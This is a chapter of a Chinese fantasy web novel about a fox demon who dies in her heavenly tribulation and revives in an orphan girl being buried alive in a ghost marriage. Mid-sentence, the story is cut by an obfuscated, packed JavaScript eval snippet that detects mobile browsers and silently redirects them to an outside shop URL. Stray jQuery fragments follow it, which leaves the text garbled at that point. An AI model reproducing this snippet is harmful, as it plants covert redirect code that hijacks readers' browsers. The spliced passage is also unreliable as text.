青丘之巅,万妖俯首。
花弥立于峰顶,九条纯白狐尾在狂风中如雪浪翻涌。
她抬头望向苍穹,神色凝重,赤红的眼瞳里倒映着正在凝聚的天劫雷云。
远山之上,仙家云集。
问天宗主抚须长叹:“九重天劫,千载难逢。若能渡过,便是妖界第九位证道的妖仙。”
对于妖族来说,修炼的至高境界是妖仙境,可与天地同寿。
东海龙王化为人形,立于云头:“只可惜,天道对妖族向来苛刻。”
轰隆!
第一道紫雷撕裂长空,粗如山岳。花弥九尾齐扬,将雷电吞噬。狐尾上电光流转,她双目熠熠,意气风发。
“再来!”
第二重、第三重...天劫一重比一重可怖。第六重时,天空降下的是赤红如血的火雷。
此时花弥已化出百丈原身,九尾如擎天之柱,每承受一击,便有万千狐影从尾尖散出,以分身代承部分天威。
“第七重了!”有妖族长老颤抖着数道。
这一劫,降下的是湛蓝冰雷,所过之处空间都似要冻结崩裂。花弥长啸一声,九尾结印,身后浮现巨大的白狐法相,与冰雷轰然对撞。
冲击波荡开百里,观劫者无不运功抵挡。
“只差两重...”有修士轻声叹道,“若她为人,天道何至于此。”
第八重天劫酝酿了一个时辰。这一次,乌云散去,天光大显,千万把擎天金色长剑以排山倒海之势朝她轰来!
“这是...天刑剑劫!”有古老妖族惊呼,“传说中只在上古神兽渡劫时出现过!”
花弥瞠目龇牙。她全身显现出繁复的妖纹,九尾如莲花般层层包裹己身。
光芒散去,花弥依旧站立,但九尾已断其六,剩下的三条也焦黑破损。她浑身浴血,赤瞳黯淡,却依然倔强仰头望天。
第九重雷云开始凝聚。
这一次,没有电闪雷鸣,只有一片纯粹的黑暗在天空蔓延,吞噬着一切光亮。
“寂灭仙雷...”问天宗主神色复杂,“结束了。”
花弥缓缓闭上眼,她散开防御,仅存的三尾在身后轻轻摆动。
这一劫,她渡不了。
她脑海中闪过许多画面——一只受伤的无尾白狐,缩在洞中瑟瑟发抖;一个紫衣女人,拿着戒尺敲她的额头;还有一个板着脸的白衣剑修...
“果然,我从来都不被眷顾...”她轻叹。
当光芒散尽,青丘之巅已空无一物。
万妖跪地,久久不起。
***
花弥缓缓睁眼,视线被一片刺目的红遮挡。
空气里弥漫着刺鼻的劣质香料味。
很快她就发现自己正身处于一顶狭小的花轿里,此时她身上穿着艳丽的红色喜服。
大胆!谁敢把本大人绑来成亲?!
花弥怒火中烧,正欲施法,却发现体内竟感受不到丝毫灵气运转...
她这一动,手腕传来火辣辣的痛。低头才发觉自己的手脚都被粗糙的麻绳死死绑住了,不仅如此,口鼻也被一条厚厚的白色缠尸布紧紧勒住。
这一动气,差点呼吸不上来,她只得重新瘫回轿板,胸口剧烈起伏,满眼难以置信。
我中邪了?她心中疑惑。
就在这时,轿壁被人叩了两下,一张堆满褶子、花红柳绿的老妇脸贴了上来,眯着眼,一脸假笑:“阿九姑娘,能嫁给王公子可是你的福气!别再挣扎了。”
阿九?
一阵晕眩,陌生的记忆碎片灌入脑海...
她意识到自己竟然重生了,还是在一个凡人身上!
这具身体的原主叫阿九,年方十六,是青莲村的一个孤女。
自幼父母双亡,无依无靠独自苟活。村中人愚昧无知,笃信命理邪说。因她自幼体弱,安静寡言,便被全村人冠上了“天煞孤星”的污名。
三日前,镇上王员外家的小儿子突然病逝,王家请道士做了场法事,道士说王公子阳寿未尽、魂魄流连人间,需寻一位命格极阴的女子配为冥妻,方能安抚亡魂,庇佑王家后世安稳。
算来算去,方圆百里,命格极阴的女子,只有阿九。
王家二话不说,直接带人闯进阿九的草屋,将她强行拖走,整整绑了三日,期间只给她喂了几口水。今日便是选定的冥婚吉日,他们要将她活生生送入坟墓,与王家少爷合棺下葬。
荒唐至极。
花弥理清前因后果,眼底凝起寒霜。
此时,外面传来了一阵敲锣打鼓声。锣声沉闷嘶哑,唢呐的调子凄厉曲折,拖着长长的尾音,听在耳中,像有人拿指甲刮着瓷碗,花弥头皮一阵发麻。
紧接着,方才那老妇沙哑的声音再次响起,句句淬寒:
“良辰吉日,阴亲成礼!王家郎君,早归冥府;阴命孤女,以身相伴;阴阳相合,生死同龛;百煞退避,岁岁安宁——”
花弥再次尝试调动灵力,依旧空空如也。这副躯体天生孱弱,加之常年的亏空,真可谓是弱不禁风。
轿子忽然一顿。
“落轿——”
念词的老妇拖长了调子,轿身猛地一沉,四个轿夫同时卸了力,轿底的木板重重砸在地面。
“咚”的一声闷响。
花弥整个人朝前栽去,额头撞在轿杠上,红盖头掉落在地。
她才看清这轿子的诡异之处。寻常轿内多半绣着龙凤呈祥、鸳鸯戏水这类喜气图案,而她四周却是密密麻麻、缠绕扭曲的往生缠莲和镇魂阴纹符纸。
岂有此理!她咬牙切齿,心中骂道。
一只白胖的手掀开轿帘,紧接着那老妇探进脸,嘴角斜斜地咧着,露出一口黄牙。
“阿九姑娘,请吧。”
花弥被她拖拽出轿子。双脚被绑,她只能跪坐在轿口,阴风裹着落叶和尘土,扑了她一脸。
她眯着眼扫视四周,周围皆是高低错落的坟包,轿子正前方新挖了一个长方形的土坑,里面已经停着一口黑棺,棺盖斜靠在一边,露出里头一身簇新寿衣的圆胖男尸。
那尸首脸上涂了厚厚的白粉,嘴唇鲜红胜血,远远看上去像一个扎纸娃娃。
花弥难以想象自己此时脸上是何妆容,重活一世,竟落得这么个窝囊下场。
一个轿夫粗鲁地拽住她的胳膊,把她拖到坑边,嘴里嘿笑道:“这姑娘皮肤真白。”
“行了行了,快放进去。”那老妇走过来,手里拎着一把黄纸钱,往空中一扬,“百年好合,永结同心,王家公子,接你新妇——”
“绑紧些,”她对轿夫说,“别让她挣扎冲撞了王公子。”
轿夫应了声,蹲下去检查花弥脚踝的麻绳,手却不老实,一路沿着她的小腿不断往上摸...
花弥爆发全身力气,抬腿踢在轿夫脸上,险些将他踹下坑里。她死死瞪着那轿夫,嘴里发出呜呜的警告声,吸引了老妇的注意。
“你这泼皮!”那老妇连忙喝骂,“王家人还在呢!工钱不想要了?”
轿夫摸了摸鼻子,讪讪爬起来,老实将花弥送进黑棺。
棺盖缓缓合上,花弥闭上眼,听见外面锣鼓喧天,夹杂着女人的哭喊和道士的念咒声,渐渐被泥土掩埋的闷响吞没。
不知过了多久,四周彻底安静,她摊开手掌,里面是几张从花轿上扒下来的符纸,内含微弱的灵力。
她咬破手指,在符纸上画下图案,正要贴在棺盖上,外面忽然又有了动静,似乎是有人在挖土。
莫非是有人良心发现了?她收起符纸,静静等待着。
重见月亮的那一刻比预想中来得快,棺盖被推开,映入眼帘的是一个灰头土脸的稚嫩少年。
记忆里他叫言礼,是阿九唯一的朋友,比她小一岁。经常不顾父母阻拦,跑去找她玩。是阿九生命里为数不多的光。
“阿九姐姐!你没事吧?”言礼掏出腰间的小刀,身子探进棺中,伸手去割她脚上绑着的麻绳。
现在他也是花弥生命里的一束光了。
言礼满头大汗,落在花弥的喜服上,她看到他的手掌已经通红,还起了水泡,割绳子时不停地抖,割了很久都没有割断。
她坐起身,推了推他,示意让他先割手上的绳子。
言礼会意,可这下他的手竟抖得更厉害,花弥歪头,靠近看他,他却像受了刺激一样往后退。
“姐姐...你...你再等等。”
说完,少年便目不转睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879261|212436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
专注割绳子。
短暂的安静过后,远处响起男人猥琐粗哑的声音。
“都说这妹子生得好看,我今天见了,真是不错。”
“嘿嘿,我填土的时候故意填的松,也没把棺盖封死,好让哥几个快活快活。”
“你小子,行家啊。”
花弥心道不好,那符纸的灵力只够用一次的,三个人恐怕不好对付。
言礼听到动静,加快了手上的速度,小声道:“姐姐,待会你快跑,我来拖住他们。”
割断手腕麻绳后,言礼把小刀塞进她手里,自己则迅速爬出坑,拿起锄头朝来人方向走去。
花弥颤颤巍巍拿起小刀去割脚上的麻绳,可是她的双手已经被绑太久,一时使不上劲。
“你小子还想摘我们的花?不想活了!”
“再挡路连你一起埋了!”
坑外已经响起激烈的争吵和打斗声,她心中焦急,转而去解脸上的缠布。
可这缠布竟也打了死结,她心一横,拿起小刀往上划,不多时便解开了,她深吸一口气爬出坑。
离她七八步远的地方,三个壮汉正围着言礼拳打脚踢,少年双手抱头蜷缩一团没了动静。
花弥伸出右手,二指夹着一叠符纸,指尖对着三个黑漆漆的人影。
“喂——蝼蚁们。”
众人被她的声音吸引,安静了一瞬,站着的三人都转身看向她。
“哟...”
其中一名轿夫刚说完一个字,一束刺目白光从她指尖迸射而出,将整片坟地照得亮如白昼。
光芒熄灭后,远处只剩下两个黑影。一高一低,一立一卧。
花弥歪了歪头,轻轻叹了口气:“可惜,差一点。”
差一点三个全杀了。
仅剩的那名轿夫呆愣在原地,花弥甩了甩右手,他才回过神来,立刻跪地抱头求饶。
“小的有眼不识泰山,求姑奶奶放过我!”
“滚。”
轿夫闻言,四肢并用麻溜地滚了,待他滚远后,花弥长舒一口气瘫坐在地,朝远处的言礼喊了几声,少年却毫无动静。
因脚上仍有麻绳束缚,她只能一点点蠕动过去,探到言礼颈侧尚有脉动,她已耗尽最后力气。
她张开双手仰躺在地,昏昏欲睡,忽然腹部一阵绞痛。她才意识到,这具身体太久没进食了,再不吃点什么,恐怕就要结束这短暂凄惨的第二世了。
昏暗的坟场,一只人大的“毛虫”正奋力爬向墓碑前的供奉。
顾不得形象,花弥左手包子,右手鸡腿,狼吞虎咽,吃得满嘴流油。
专心进食时,身后忽然传来脚步声,她清了清嗓子,喝道:“不是让你滚了吗?”
身后的脚步声消失了。
夜风拂过,裹挟着香烛和泥土的气味,以及...一缕熟悉的雪松气息。
花弥回头,一人不知何时已立于她身后,正双手抱臂,居高临下看着她。
月华如水,照在那人白衣之上,散出光晕,宛若谪仙。
花弥愣住了。
完蛋。
上天给了她重活一次的机会,却收回了她所有的骄傲。偏要让她在最脆弱、最狼狈、最丑陋的时候,遇到上辈子的死对头——问天宗不可一世的天才剑修,堂溪珏。
二人曾交手数次,始终未能分个输赢。甚至有人和妖共同开设了个赌局,赌他们两个到底谁更强。这也是人妖两族难得可以在一起和谐讨论的话题了。
可惜她没能扛过那场天劫,这个赌局再也不会有结果了。
良久,四目相对,二人无言。
花弥率先低下了头,咽下口中食物,声音闷闷的:“道长一直盯着我看做什么。”
堂溪珏在她右侧蹲下,一手搭在膝上,一手用剑柄挑起她还抓着鸡腿的右手手腕,淡然道:
“姑娘似乎命不久矣。”
“?”
花弥猛地抬头看他,还剩一半的鸡腿从手中滑落。
“道长何出此言?”
剑柄灵光微现,在二人之间形成一小团光晕,她看见自己的右手腕上隐隐显现出一根红线,而相连的另一端指向——棺材里的那个死人!
“鸳鸯契...”